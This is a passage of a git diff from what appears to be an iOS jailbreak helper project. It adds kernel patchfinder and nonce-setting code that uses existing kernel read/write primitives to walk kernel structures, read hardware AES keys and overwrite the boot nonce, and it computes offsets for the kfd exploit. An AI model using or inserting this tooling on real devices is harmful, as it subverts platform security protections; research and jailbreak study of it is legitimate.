**)&kext_name_cf, 1, &kCFTypeArrayCallBacks)) != NULL) { + if((kexts_info = OSKextCopyLoadedKextInfo(kext_names, NULL)) != NULL) { + if(CFGetTypeID(kexts_info) == CFDictionaryGetTypeID() && CFDictionaryGetCount(kexts_info) == 1 && (kext_info = CFDictionaryGetValue(kexts_info, kext_name_cf)) != NULL && CFGetTypeID(kext_info) == CFDictionaryGetTypeID() && (kext_addr_cf = CFDictionaryGetValue(kext_info, CFSTR(kOSBundleLoadAddressKey))) != NULL && CFGetTypeID(kext_addr_cf) == CFNumberGetTypeID() && CFNumberGetValue(kext_addr_cf, kCFNumberSInt64Type, &kext_addr) && kext_addr_slid > kext_addr) { + kbase = vm_kernel_link_addr + (kext_addr_slid - kext_addr); + } + CFRelease(kexts_info); + } + CFRelease(kext_names); + } + CFRelease(kext_name_cf); + } + } + } + break; + } + } + } + } + if(kread_buf(kbase, &mh64, sizeof(mh64)) == KERN_SUCCESS && mh64.magic == MH_MAGIC_64 && mh64.cputype == CPU_TYPE_ARM64 && mh64.filetype == +#if TARGET_OS_OSX + MH_FILESET +#else + MH_EXECUTE +#endif + ) { + printf("kbase: " KADDR_FMT "\n", kbase); + return KERN_SUCCESS; + } + return KERN_FAILURE; +} + +static kern_return_t +pfinder_init_offsets(void) { + kern_return_t ret = KERN_FAILURE; + struct utsname uts; + CFStringRef cf_str; + pfinder_t pfinder; + char *p, *e; + + if(uname(&uts) == 0 && (p = strstr(uts.version, "root:xnu-")) != NULL && (e = strchr(p += strlen("root:xnu-"), '~')) != NULL) { + *e = '\0'; + if((cf_str = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, p, kCFStringEncodingASCII, kCFAllocatorNull)) != NULL) { + proc_task_off = 0x18; + proc_p_pid_off = 0x10; + task_itk_space_off = 0x290; + io_dt_nvram_of_dict_off = 0xC0; + ipc_port_ip_kobject_off = 0x68; +#if TARGET_OS_OSX + vm_kernel_link_addr = 0xFFFFFE0007004000ULL; +#else + vm_kernel_link_addr = 0xFFFFFFF007004000ULL; +#endif + if(CFStringCompare(cf_str, CFSTR("3789.1.24"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x300; + if(CFStringCompare(cf_str, CFSTR("4397.0.0.2.4"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x308; + if(CFStringCompare(cf_str, CFSTR("4903.200.199.12.3"), kCFCompareNumerically) != kCFCompareLessThan) { + proc_task_off = 0x10; + proc_p_pid_off = 0x60; + task_itk_space_off = 0x300; + if(CFStringCompare(cf_str, CFSTR("6041.0.0.110.11"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x320; + if(CFStringCompare(cf_str, CFSTR("6110.0.0.120.8"), kCFCompareNumerically) != kCFCompareLessThan) { + proc_p_pid_off = 0x68; + if(CFStringCompare(cf_str, CFSTR("7090.0.0.110.4"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x330; + io_dt_nvram_of_dict_off = 0xB8; + if(CFStringCompare(cf_str, CFSTR("7195.50.3.201.1"), kCFCompareNumerically) != kCFCompareLessThan) { +#if TARGET_OS_OSX + io_dt_nvram_of_dict_off = 0xE0; +#else + io_dt_nvram_of_dict_off = 0xC0; +#endif + if(CFStringCompare(cf_str, CFSTR("7195.60.69"), kCFCompareNumerically) != kCFCompareLessThan) { +#if TARGET_OS_OSX + io_dt_nvram_of_dict_off = 0xE8; +#else + io_dt_nvram_of_dict_off = 0xC8; +#endif + if(CFStringCompare(cf_str, CFSTR("7195.100.296.111.3"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x340; + if(CFStringCompare(cf_str, CFSTR("7195.100.326.0.1"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x338; + if(CFStringCompare(cf_str, CFSTR("7938.0.0.111.2"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x330; + ipc_port_ip_kobject_off = 0x58; + if(CFStringCompare(cf_str, CFSTR("8019.0.46.0.4"), kCFCompareNumerically) != kCFCompareLessThan) { +#if TARGET_OS_OSX + io_dt_nvram_of_dict_off = 0xF0; +#else + io_dt_nvram_of_dict_off = 0xE8; +#endif + if(CFStringCompare(cf_str, CFSTR("8019.60.40.0.1"), kCFCompareNumerically) != kCFCompareLessThan) { + task_itk_space_off = 0x308; + if(CFStringCompare(cf_str, CFSTR("8020.100.406.0.1"), kCFCompareNumerically) != kCFCompareLessThan) { +#if TARGET_OS_OSX + io_dt_nvram_of_dict_off = 0xC0; +#else + io_dt_nvram_of_dict_off = 0xB8; +#endif + ipc_port_ip_kobject_off = 0x48; + if(CFStringCompare(cf_str, CFSTR("8792.0.50.111.3"), kCFCompareNumerically) != kCFCompareLessThan) { + proc_p_pid_off = 0x60; + has_proc_struct_sz = true; + task_itk_space_off = 0x300; + if(CFStringCompare(cf_str, CFSTR("8792.40.101.0.1"), kCFCompareNumerically) != kCFCompareLessThan) { +#if TARGET_OS_OSX + io_dt_nvram_of_dict_off = 0xC8; +#else + io_dt_nvram_of_dict_off = 0xC0; +#endif + has_kalloc_array_decode = true; + if(CFStringCompare(cf_str, CFSTR("8792.80.25.121.4"), kCFCompareNumerically) != kCFCompareLessThan) { + kalloc_array_decode_v2 = true; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + CFRelease(cf_str); + if(init_kbase() == KERN_SUCCESS && pfinder_init(&pfinder) == KERN_SUCCESS) { + if((kernproc = pfinder_kernproc(pfinder)) != 0) { + printf("kernproc: " KADDR_FMT "\n", kernproc); + if(!has_proc_struct_sz) { + ret = KERN_SUCCESS; + } else if((proc_struct_sz_ptr = pfinder_proc_struct_sz_ptr(pfinder)) != 0) { + printf("proc_struct_sz_ptr: " KADDR_FMT "\n", proc_struct_sz_ptr); + ret = KERN_SUCCESS; + } + } + pfinder_term(&pfinder); + } + } + } + return ret; +} + +static kern_return_t +find_task(pid_t pid, kaddr_t *task) { + pid_t cur_pid; + kaddr_t proc; + + if(kread_addr(kernproc + PROC_P_LIST_LH_FIRST_OFF, &proc) == KERN_SUCCESS) { + while(proc != 0 && kread_buf(proc + proc_p_pid_off, &cur_pid, sizeof(cur_pid)) == KERN_SUCCESS) { + if(cur_pid == pid) { + if(has_proc_struct_sz) { + *task = proc + proc_struct_sz; + return KERN_SUCCESS; + } + return kread_addr(proc + proc_task_off, task); + } + if(pid == 0 || kread_addr(proc + PROC_P_LIST_LE_PREV_OFF, &proc) != KERN_SUCCESS) { + break; + } + } + } + return KERN_FAILURE; +} + +static void +kalloc_array_decode(kaddr_t *addr) { + unsigned kalloc_array_type_shift; + + if(has_kalloc_array_decode) { + if(t1sz_boot != 0) { + if(kalloc_array_decode_v2) { + kalloc_array_type_shift = 63 - t1sz_boot; + if(((*addr >> kalloc_array_type_shift) & 1U) != 0) { + *addr &= ~0x1FULL; + } else { + *addr &= ~((1U << ARM_PGSHIFT_16K) - 1U); + *addr |= 1ULL << kalloc_array_type_shift; + } + } else { + kalloc_array_type_shift = 62 - t1sz_boot; + if(((*addr >> kalloc_array_type_shift) & 3U) != 0) { + *addr &= ~0xFULL; + } else { + *addr &= ~((1U << ARM_PGSHIFT_16K) - 1U); + *addr |= 3ULL << kalloc_array_type_shift; + } + } + } else { + *addr |= ~((1ULL << KALLOC_ARRAY_TYPE_BIT) - 1U); + } + } +} + +static kern_return_t +lookup_ipc_port(mach_port_name_t port_name, kaddr_t *ipc_port) { + kaddr_t itk_space, is_table; + + if(MACH_PORT_VALID(port_name) && kread_addr(our_task + task_itk_space_off, &itk_space) == KERN_SUCCESS) { + kxpacd(&itk_space); + printf("itk_space: " KADDR_FMT "\n", itk_space); + if(kread_addr(itk_space + IPC_SPACE_IS_TABLE_OFF, &is_table) == KERN_SUCCESS) { + kxpacd(&is_table); + kalloc_array_decode(&is_table); + printf("is_table: " KADDR_FMT "\n", is_table); + return kread_addr(is_table + MACH_PORT_INDEX(port_name) * IPC_ENTRY_SZ + IPC_ENTRY_IE_OBJECT_OFF, ipc_port); + } + } + return KERN_FAILURE; +} + +static kern_return_t +lookup_io_object(io_object_t object, kaddr_t *ip_kobject) { + kaddr_t ipc_port; + + if(lookup_ipc_port(object, &ipc_port) == KERN_SUCCESS) { + kxpacd(&ipc_port); + printf("ipc_port: " KADDR_FMT "\n", ipc_port); + return kread_addr(ipc_port + ipc_port_ip_kobject_off, ip_kobject); + } + return KERN_FAILURE; +} + +static kern_return_t +nonce_generate(void) { + io_service_t nonce_serv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileApNonce")); + uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH]; + kern_return_t ret = KERN_FAILURE; + io_connect_t nonce_conn; + size_t nonce_d_sz; + + if(nonce_serv != IO_OBJECT_NULL) { + printf("nonce_serv: 0x%" PRIX32 "\n", nonce_serv); + if(IOServiceOpen(nonce_serv, mach_task_self(), 0, &nonce_conn) == KERN_SUCCESS) { + printf("nonce_conn: 0x%" PRIX32 "\n", nonce_conn); + if(IOConnectCallStructMethod(nonce_conn, APPLE_MOBILE_AP_NONCE_CLEAR_NONCE_SEL, NULL, 0, NULL, NULL) == KERN_SUCCESS) { + nonce_d_sz = sizeof(nonce_d); + ret = IOConnectCallStructMethod(nonce_conn, APPLE_MOBILE_AP_NONCE_GENERATE_NONCE_SEL, NULL, 0, nonce_d, &nonce_d_sz); + } + IOServiceClose(nonce_conn); + } else { + puts("Please use \"ideviceinfo -k ApNonce\" to generate nonce."); + ret = KERN_SUCCESS; + } + IOObjectRelease(nonce_serv); + } + return ret; +} + +static kern_return_t +get_of_dict(io_registry_entry_t nvram_entry, kaddr_t *of_dict) { + kaddr_t nvram_object; + + if(lookup_io_object(nvram_entry, &nvram_object) == KERN_SUCCESS) { + kxpacd(&nvram_object); + printf("nvram_object: " KADDR_FMT "\n", nvram_object); + return kread_addr(nvram_object + io_dt_nvram_of_dict_off, of_dict); + } + return KERN_FAILURE; +} + +static kaddr_t +lookup_key_in_os_dict(kaddr_t os_dict, const char *key) { + kaddr_t os_dict_entry_ptr, string_ptr, val = 0; + uint32_t os_dict_cnt, cur_key_len; + size_t key_len = strlen(key) + 1; + struct { + kaddr_t key, val; + } os_dict_entry; + char *cur_key; + + if((cur_key = malloc(key_len)) != NULL) { + if(kread_addr(os_dict + OS_DICTIONARY_DICT_ENTRY_OFF, &os_dict_entry_ptr) == KERN_SUCCESS) { + kxpacd(&os_dict_entry_ptr); + printf("os_dict_entry_ptr: " KADDR_FMT "\n", os_dict_entry_ptr); + if(kread_buf(os_dict + OS_DICTIONARY_COUNT_OFF, &os_dict_cnt, sizeof(os_dict_cnt)) == KERN_SUCCESS) { + printf("os_dict_cnt: 0x%" PRIX32 "\n", os_dict_cnt); + while(os_dict_cnt-- != 0 && kread_buf(os_dict_entry_ptr + os_dict_cnt * sizeof(os_dict_entry), &os_dict_entry, sizeof(os_dict_entry)) == KERN_SUCCESS) { + printf("key: " KADDR_FMT ", val: " KADDR_FMT "\n", os_dict_entry.key, os_dict_entry.val); + if(kread_buf(os_dict_entry.key + OS_STRING_LEN_OFF, &cur_key_len, sizeof(cur_key_len)) != KERN_SUCCESS) { + break; + } + cur_key_len = OS_STRING_LEN(cur_key_len); + printf("cur_key_len: 0x%" PRIX32 "\n", cur_key_len); + if(cur_key_len == key_len) { + if(kread_addr(os_dict_entry.key + OS_STRING_STRING_OFF, &string_ptr) != KERN_SUCCESS) { + break; + } + kxpacd(&string_ptr); + printf("string_ptr: " KADDR_FMT "\n", string_ptr); + if(kread_buf(string_ptr, cur_key, key_len) != KERN_SUCCESS) { + break; + } + if(memcmp(cur_key, key, key_len) == 0) { + val = os_dict_entry.val; + break; + } + } + } + } + } + free(cur_key); + } + return val; +} + +static kern_return_t +get_nvram_prop(io_registry_entry_t nvram_entry, const char *key, char *val, CFIndex val_sz) { + CFStringRef cf_key = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, key, kCFStringEncodingUTF8, kCFAllocatorNull), cf_val; + kern_return_t ret = KERN_FAILURE; + + if(cf_key != NULL) { + if((cf_val = IORegistryEntryCreateCFProperty(nvram_entry, cf_key, kCFAllocatorDefault, kNilOptions)) != NULL) { + if(CFGetTypeID(cf_val) == CFStringGetTypeID() && CFStringGetCString(cf_val, val, val_sz, kCFStringEncodingUTF8)) { + ret = KERN_SUCCESS; + } + CFRelease(cf_val); + } + CFRelease(cf_key); + } + return ret; +} + +static kern_return_t +set_nvram_prop(io_registry_entry_t nvram_entry, const char *key, const char *val) { + CFStringRef cf_key = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, key, kCFStringEncodingUTF8, kCFAllocatorNull), cf_val; + kern_return_t ret = KERN_FAILURE; + + if(cf_key != NULL) { + if((cf_val = CFStringCreateWithCStringNoCopy(kCFAllocatorDefault, val, kCFStringEncodingUTF8, kCFAllocatorNull)) != NULL) { + ret = IORegistryEntrySetCFProperty(nvram_entry, cf_key, cf_val); + CFRelease(cf_val); + } + CFRelease(cf_key); + } + return ret; +} + +static kern_return_t +sync_nonce(io_registry_entry_t nvram_entry) { + if(set_nvram_prop(nvram_entry, "temp_key", "temp_val") != KERN_SUCCESS || set_nvram_prop(nvram_entry, kIONVRAMDeletePropertyKey, "temp_key") != KERN_SUCCESS || set_nvram_prop(nvram_entry, kIONVRAMForceSyncNowPropertyKey, kBootNoncePropertyKey) != KERN_SUCCESS) { + puts("Please use \"ideviceenterrecovery UDID\" to enter recovery mode."); + } + return KERN_SUCCESS; +} + +static size_t +hash_nonce(uint64_t nonce, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH]) { + io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/chosen"); + struct { + uint32_t generated, key_id, key_sz, val[4], key[4], zero, pad; + } key; + size_t out_sz, nonce_d_sz = 0, hash_method_len; + uint64_t buf[] = { 0, nonce }; + kaddr_t aes_object, keys_ptr; + CFDataRef hash_method_cf; + const char *hash_method; + io_service_t aes_serv; + uint32_t key_cnt; + + if(chosen != IO_OBJECT_NULL) { + if((hash_method_cf = IORegistryEntryCreateCFProperty(chosen, CFSTR("crypto-hash-method"), kCFAllocatorDefault, kNilOptions)) != NULL) { + if(CFGetTypeID(hash_method_cf) == CFDataGetTypeID() && (hash_method_len = (size_t)CFDataGetLength(hash_method_cf)) != 0 && (hash_method = (const char *)CFDataGetBytePtr(hash_method_cf))[hash_method_len - 1] == '\0') { + if(strcmp(hash_method, "sha1") == 0) { + nonce_d_sz = CC_SHA1_DIGEST_LENGTH; + CC_SHA1(&nonce, sizeof(nonce), nonce_d); + } else if(strcmp(hash_method, "sha2-384") == 0) { + nonce_d_sz = CC_SHA384_DIGEST_LENGTH; + if(t1sz_boot == 0) { + CC_SHA384(&nonce, sizeof(nonce), nonce_d); + } else if((aes_serv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOAESAccelerator"))) != IO_OBJECT_NULL) { + printf("aes_serv: 0x%" PRIX32 "\n", aes_serv); + if(lookup_io_object(aes_serv, &aes_object) == KERN_SUCCESS) { + kxpacd(&aes_object); + printf("aes_object: " KADDR_FMT "\n", aes_object); + if(kread_addr(aes_object + IO_AES_ACCELERATOR_SPECIAL_KEYS_OFF, &keys_ptr) == KERN_SUCCESS) { + printf("keys_ptr: " KADDR_FMT "\n", keys_ptr); + if(kread_buf(aes_object + IO_AES_ACCELERATOR_SPECIAL_KEY_CNT_OFF, &key_cnt, sizeof(key_cnt)) == KERN_SUCCESS) { + printf("key_cnt: 0x%" PRIX32 "\n", key_cnt); + while(key_cnt-- != 0 && kread_buf(keys_ptr + key_cnt * sizeof(key), &key, sizeof(key)) == KERN_SUCCESS) { + printf("generated: 0x%" PRIX32 ", key_id: 0x%" PRIX32 ", key_sz: 0x%" PRIX32 ", val: 0x%08" PRIX32 "%08" PRIX32 "%08" PRIX32 "%08" PRIX32 "\n", key.generated, key.key_id, key.key_sz, __builtin_bswap32(key.val[0]), __builtin_bswap32(key.val[1]), __builtin_bswap32(key.val[2]), __builtin_bswap32(key.val[3])); + if(key.generated == 1 && key.key_id == 0x8A3 && key.key_sz == 8 * kCCKeySizeAES128) { + if(CCCrypt(kCCEncrypt, kCCAlgorithmAES128, 0, key.val, kCCKeySizeAES128, NULL, buf, sizeof(buf), buf, sizeof(buf), &out_sz) == kCCSuccess && out_sz == sizeof(buf)) { + CC_SHA384(buf, sizeof(buf), nonce_d); + } + break; + } + } + } + } + } + IOObjectRelease(aes_serv); + } + } + } + CFRelease(hash_method_cf); + } + IOObjectRelease(chosen); + } + return MIN(nonce_d_sz, 32); +} + +kern_return_t +dimentio_preinit(uint64_t *nonce, bool set, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH], size_t *nonce_d_sz) { + io_registry_entry_t nvram_entry = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/options"); + char nonce_hex[2 * sizeof(*nonce) + sizeof("0x")]; + kern_return_t ret = KERN_FAILURE; + + if(nvram_entry != IO_OBJECT_NULL) { + printf("nvram_entry: 0x%" PRIX32 "\n", nvram_entry); + if(set) { + snprintf(nonce_hex, sizeof(nonce_hex), "0x%016" PRIx64, *nonce); + if(set_nvram_prop(nvram_entry, kBootNoncePropertyKey, nonce_hex) == KERN_SUCCESS && set_nvram_prop(nvram_entry, kIONVRAMSyncNowPropertyKey, kBootNoncePropertyKey) == KERN_SUCCESS) { + ret = set_nvram_prop(nvram_entry, kIONVRAMForceSyncNowPropertyKey, kBootNoncePropertyKey); + } + } else if(get_nvram_prop(nvram_entry, kBootNoncePropertyKey, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS && sscanf(nonce_hex, "0x%016" PRIx64, nonce) == 1) { + ret = KERN_SUCCESS; + } + if(ret == KERN_SUCCESS) { + *nonce_d_sz = hash_nonce(*nonce, nonce_d); + } + IOObjectRelease(nvram_entry); + } + return ret; +} + +void +dimentio_term(void) { + if(tfp0 != TASK_NULL) { + mach_port_deallocate(mach_task_self(), tfp0); + } else if(kernrw_0 != NULL) { + dlclose(kernrw_0); + } else if(krw_0 != NULL) { + dlclose(krw_0); + } else if(kmem_fd != -1) { + close(kmem_fd); + } + setpriority(PRIO_PROCESS, 0, 0); +} + +kern_return_t +dimentio_init(kaddr_t _kbase, kread_func_t _kread_buf, kwrite_func_t _kwrite_buf) { + kernrw_0_req_kernrw_func_t kernrw_0_req; + cpu_subtype_t subtype; + size_t sz; + + sz = sizeof(subtype); + if(sysctlbyname("hw.cpusubtype", &subtype, &sz, NULL, 0) == 0) { + if(subtype == CPU_SUBTYPE_ARM64E) { +#if TARGET_OS_OSX + t1sz_boot = 17; +#else + t1sz_boot = 25; +#endif + } + kbase = _kbase; + if(_kread_buf != NULL && _kwrite_buf != NULL) { + kread_buf = _kread_buf; + kwrite_buf = _kwrite_buf; + } else if(init_tfp0() == KERN_SUCCESS) { + printf("tfp0: 0x%" PRIX32 "\n", tfp0); + kread_buf = kread_buf_tfp0; + kwrite_buf = kwrite_buf_tfp0; + } else if((kernrw_0 = dlopen("/usr/lib/libkernrw.0.dylib", RTLD_LAZY)) != NULL && (kernrw_0_req = (kernrw_0_req_kernrw_func_t)dlsym(kernrw_0, "requestKernRw")) != NULL && kernrw_0_req() == 0) { + kread_buf = (kread_func_t)dlsym(kernrw_0, "kernRW_readbuf"); + kwrite_buf = (kwrite_func_t)dlsym(kernrw_0, "kernRW_writebuf"); + } else if((krw_0 = dlopen("/usr/lib/libkrw.0.dylib", RTLD_LAZY)) != NULL && (krw_0_kread = (krw_0_kread_func_t)dlsym(krw_0, "kread")) != NULL && (krw_0_kwrite = (krw_0_kwrite_func_t)dlsym(krw_0, "kwrite")) != NULL) { + kread_buf = kread_buf_krw_0; + kwrite_buf = kwrite_buf_krw_0; + } else if((kmem_fd = open("/dev/kmem", O_RDWR | O_CLOEXEC)) != -1) { + kread_buf = kread_buf_kmem; + kwrite_buf = kwrite_buf_kmem; + } + if(kread_buf != NULL && kwrite_buf != NULL) { + setpriority(PRIO_PROCESS, 0, PRIO_MIN); + if(pfinder_init_offsets() == KERN_SUCCESS && (!has_proc_struct_sz || kread_buf(proc_struct_sz_ptr, &proc_struct_sz, sizeof(proc_struct_sz)) == KERN_SUCCESS)) { + return KERN_SUCCESS; + } + setpriority(PRIO_PROCESS, 0, 0); + } + if(tfp0 != TASK_NULL) { + mach_port_deallocate(mach_task_self(), tfp0); + } else if(kernrw_0 != NULL) { + dlclose(kernrw_0); + } else if(krw_0 != NULL) { + dlclose(krw_0); + } else if(kmem_fd != -1) { + close(kmem_fd); + } + } + return KERN_FAILURE; +} + +kern_return_t +dimentio(uint64_t *nonce, bool set, uint8_t nonce_d[CC_SHA384_DIGEST_LENGTH], size_t *nonce_d_sz) { + io_registry_entry_t nvram_entry = IORegistryEntryFromPath(kIOMasterPortDefault, kIODeviceTreePlane ":/options"); + char nonce_hex[2 * sizeof(*nonce) + sizeof("0x")]; + kaddr_t of_dict, os_string, string_ptr; + kern_return_t ret = KERN_FAILURE; + + if(nvram_entry != IO_OBJECT_NULL) { + printf("nvram_entry: 0x%" PRIX32 "\n", nvram_entry); + if(find_task(getpid(), &our_task) == KERN_SUCCESS) { + kxpacd(&our_task); + printf("our_task: " KADDR_FMT "\n", our_task); + if((!set || nonce_generate() == KERN_SUCCESS) && get_of_dict(nvram_entry, &of_dict) == KERN_SUCCESS) { + printf("of_dict: " KADDR_FMT "\n", of_dict); + if((os_string = lookup_key_in_os_dict(of_dict, kBootNoncePropertyKey)) != 0) { + printf("os_string: " KADDR_FMT "\n", os_string); + if(kread_addr(os_string + OS_STRING_STRING_OFF, &string_ptr) == KERN_SUCCESS) { + kxpacd(&string_ptr); + printf("string_ptr: " KADDR_FMT "\n", string_ptr); + if(set) { + snprintf(nonce_hex, sizeof(nonce_hex), "0x%016" PRIx64, *nonce); + if(kwrite_buf(string_ptr, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS) { + ret = sync_nonce(nvram_entry); + } + } else if(kread_buf(string_ptr, nonce_hex, sizeof(nonce_hex)) == KERN_SUCCESS && sscanf(nonce_hex, "0x%016" PRIx64, nonce) == 1) { + ret = KERN_SUCCESS; + } + if(ret == KERN_SUCCESS) { + *nonce_d_sz = hash_nonce(*nonce, nonce_d); + } + } + } else if(!set) { + puts("You have to set nonce first."); + } + } + } + IOObjectRelease(nvram_entry); + } + return ret; +} diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h new file mode 100644 index 00000000..9545cb73 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.h @@ -0,0 +1,53 @@ +// +// patchfinder.h +// kfd +// +// Created by Seo Hyun-gyu on 1/8/24. +// + +#ifndef patchfinder_h +#define patchfinder_h + +#import + +typedef UInt32 IOOptionBits; +#define IO_OBJECT_NULL ((io_object_t)0) +typedef mach_port_t io_object_t; +typedef io_object_t io_registry_entry_t; +extern const mach_port_t kIOMainPortDefault; +typedef char io_string_t[512]; + +kern_return_t +IOObjectRelease(io_object_t object ); + +io_registry_entry_t +IORegistryEntryFromPath(mach_port_t, const io_string_t); + +CFTypeRef +IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); + +const char* get_kernversion(void); + +int do_static_patchfinder(void); + +int do_static_patchfinder_libdimentio(void); + +int do_dynamic_patchfinder(uint64_t kfd, uint64_t kbase); + +int import_kfd_offsets(void); + +int save_kfd_offsets(void); + +uint64_t get_vm_kernel_link_addr(void); + +extern uint64_t off_cdevsw; +extern uint64_t off_gPhysBase; +extern uint64_t off_gPhysSize; +extern uint64_t off_gVirtBase; +extern uint64_t off_perfmon_dev_open; +extern uint64_t off_perfmon_devices; +extern uint64_t off_ptov_table; +extern uint64_t off_vn_kqfilter; +extern uint64_t off_proc_object_size; + +#endif /* patchfinder_h */ \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m new file mode 100644 index 00000000..9ecaead6 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/fun/kpf/patchfinder.m @@ -0,0 +1,207 @@ +// +// patchfinder.m +// kfd +// +// Created by Seo Hyun-gyu on 1/8/24. +// + +#import +#import +#import +#import "patchfinder.h" +//#import "img4helper/img4.h" +#import "patchfinder64.h" +//#import "libgrabkernel/libgrabkernel.h" +#import "libdimentio.h" +#import "../krw.h" + +bool did_patchfinder = false; +uint64_t off_cdevsw = 0; +uint64_t off_gPhysBase = 0; +uint64_t off_gPhysSize = 0; +uint64_t off_gVirtBase = 0; +uint64_t off_perfmon_dev_open = 0; +uint64_t off_perfmon_devices = 0; +uint64_t off_ptov_table = 0; +uint64_t off_vn_kqfilter = 0; +uint64_t off_proc_object_size = 0; + +const char* getBootManifestHash(void) { + struct statfs fs; + if (statfs("/usr/standalone/firmware", &fs) == 0) { + NSString *mountedPath = [NSString stringWithUTF8String:fs.f_mntfromname]; + NSArray *components = [mountedPath componentsSeparatedByString:@"/"]; + if ([components count] > 3) { + NSString *substring = components[3]; + return substring.UTF8String; + } + } + return NULL; +} + +const char* get_kernel_path(void) { + NSString *kernelPath = [NSString stringWithFormat:@"/private/preboot/%s%@", getBootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches/kernelcache"]; + + return kernelPath.UTF8String; +} + +void removeIfExist(const char* path) { + if(access(path, F_OK) == 0) remove(path); +} + + +int do_dynamic_patchfinder(uint64_t kfd, uint64_t kbase) { + printf("[!] Starting dynamic patchfinder (Thanks 0x7ff)\n"); + + uint64_t vm_kernel_link_addr = get_vm_kernel_link_addr(); + uint64_t kslide = kbase - vm_kernel_link_addr; + if (!kbase) { + return -1; + } + if (!kslide) { + return -1; + } + pfinder_t pfinder; + set_kbase(kbase); + set_kfd(kfd); + if(pfinder_init(&pfinder) != KERN_SUCCESS) { + return -1; + } + printf("pfinder_init: success!\n"); + + uint64_t cdevsw = pfinder_cdevsw(pfinder); + if(cdevsw) off_cdevsw = cdevsw - kslide; + printf("cdevsw: 0x%llx\n", off_cdevsw); + if(off_cdevsw == 0) return -1; + + uint64_t gPhysBase = pfinder_gPhysBase(pfinder); + if(gPhysBase) off_gPhysBase = gPhysBase - kslide; + printf("gPhysBase: 0x%llx\n", off_gPhysBase); + if(off_gPhysBase == 0) return -1; + + uint64_t gPhysSize = pfinder_gPhysSize(pfinder); + if(gPhysSize) off_gPhysSize = gPhysSize - kslide; + printf("gPhysSize: 0x%llx\n", off_gPhysSize); + if(off_gPhysSize == 0) return -1; + + uint64_t gVirtBase = pfinder_gVirtBase(pfinder); + if(gVirtBase) off_gVirtBase = gVirtBase - kslide; + printf("gVirtBase: 0x%llx\n", off_gVirtBase); + if(off_gVirtBase == 0) return -1; + + uint64_t perfmon_dev_open = pfinder_perfmon_dev_open(pfinder); + if(perfmon_dev_open) off_perfmon_dev_open = perfmon_dev_open - kslide; + printf("perfmon_dev_open: 0x%llx\n", off_perfmon_dev_open); + if(off_perfmon_dev_open == 0) return -1; + + uint64_t perfmon_devices = pfinder_perfmon_devices(pfinder); + if(perfmon_devices) off_perfmon_devices = perfmon_devices - kslide; + printf("perfmon_devices: 0x%llx\n", off_perfmon_devices); + if(off_perfmon_devices == 0) return -1; + + uint64_t ptov_table = pfinder_ptov_table(pfinder); + if(ptov_table) off_ptov_table = ptov_table - kslide; + printf("ptov_table: 0x%llx\n", off_ptov_table); + if(off_ptov_table == 0) return -1; + + uint64_t vn_kqfilter = pfinder_vn_kqfilter(pfinder); + if(vn_kqfilter) off_vn_kqfilter = vn_kqfilter - kslide; + printf("vn_kqfilter: 0x%llx\n", off_vn_kqfilter); + if(off_vn_kqfilter == 0) return -1; + + uint64_t proc_object_size = pfinder_proc_object_size(pfinder); + if(proc_object_size) off_proc_object_size = proc_object_size; + printf("proc_object_size: 0x%llx\n", off_proc_object_size); + if(off_proc_object_size == 0) return -1; + + pfinder_term(&pfinder); + + save_kfd_offsets(); + + return 0; +} + +const char* get_kernversion(void) { + char kern_version[512] = {}; + size_t size = sizeof(kern_version); + sysctlbyname("kern.version", &kern_version, &size, NULL, 0); + printf("current kern.version: %s\n", kern_version); + + return strdup(kern_version);; +} + +int import_kfd_offsets(void) { + // NSString* save_path = [NSString stringWithFormat:@"%@/Documents/kfund_offsets.plist", NSHomeDirectory()]; + NSString* save_path = @"/var/mobile/Documents/kfund_offsets.plist"; + if(access(save_path.UTF8String, F_OK) == -1) + return -1; + + NSDictionary *offsets = [NSDictionary dictionaryWithContentsOfFile:save_path]; + NSString *saved_kern_version = [offsets objectForKey:@"kern_version"]; + if(strcmp(get_kernversion(), saved_kern_version.UTF8String) != 0) + return -1; + + printf("[!] Found saved kfd offsets\n"); + + off_cdevsw = [offsets[@"off_cdevsw"] unsignedLongLongValue]; + printf("cdevsw: 0x%llx\n", off_cdevsw); + off_gPhysBase = [offsets[@"off_gPhysBase"] unsignedLongLongValue]; + printf("gPhysBase: 0x%llx\n", off_gPhysBase); + off_gPhysSize = [offsets[@"off_gPhysSize"] unsignedLongLongValue]; + printf("gPhysSize: 0x%llx\n", off_gPhysSize); + off_gVirtBase = [offsets[@"off_gVirtBase"] unsignedLongLongValue]; + printf("gVirtBase: 0x%llx\n", off_gVirtBase); + off_perfmon_dev_open = [offsets[@"off_perfmon_dev_open"] unsignedLongLongValue]; + printf("perfmon_dev_open: 0x%llx\n", off_perfmon_dev_open); + off_perfmon_devices = [offsets[@"off_perfmon_devices"] 